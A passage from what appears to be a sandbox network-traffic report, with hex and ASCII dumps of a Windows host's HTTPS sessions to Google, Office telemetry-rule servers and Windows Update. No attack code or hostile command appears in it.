height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 34 30 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700340,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-06 23:15:25 UTC	1144	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this
2024-12-06 23:15:25 UTC	512	IN	Data Raw: 31 66 39 0d 0a 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 Data Ascii: 1f9}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;thr
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 Data Ascii: 8000c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u
2024-12-06 23:15:25 UTC	1390	IN	Data Raw: 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 Data Ascii: 3d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",cols

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49735	142.250.181.100	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 23:15:25 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 23:15:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 23:15:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-06 23:15:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231524Z-1746fd949bd4w8sthC1EWR700400000004mg00000000e2fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231524Z-1746fd949bd4w8sthC1EWR700400000004mg00000000e2fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231524Z-r1cf579d778d5zkmhC1EWRk6h8000000014g000000006ahs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231525Z-1746fd949bdkw94lhC1EWRxuz4000000052g00000000773x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231526Z-r1cf579d778w59f9hC1EWRze6w00000000ug00000000bys9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49746	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gxgonE+wNecUoDx&MD=dbwZGS6d HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 23:15:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b27b4d10-1375-40ca-bedc-6e04319fb55d MS-RequestId: 0117c985-c4a2-48c8-8b87-337979af4e84 MS-CV: jxwQki8vwkuKv4ol.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 23:15:26 GMT Connection: close Content-Length: 24490
2024-12-06 23:15:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-06 23:15:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231526Z-1746fd949bdtlp5chC1EWRq1v400000004ug00000000cxd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
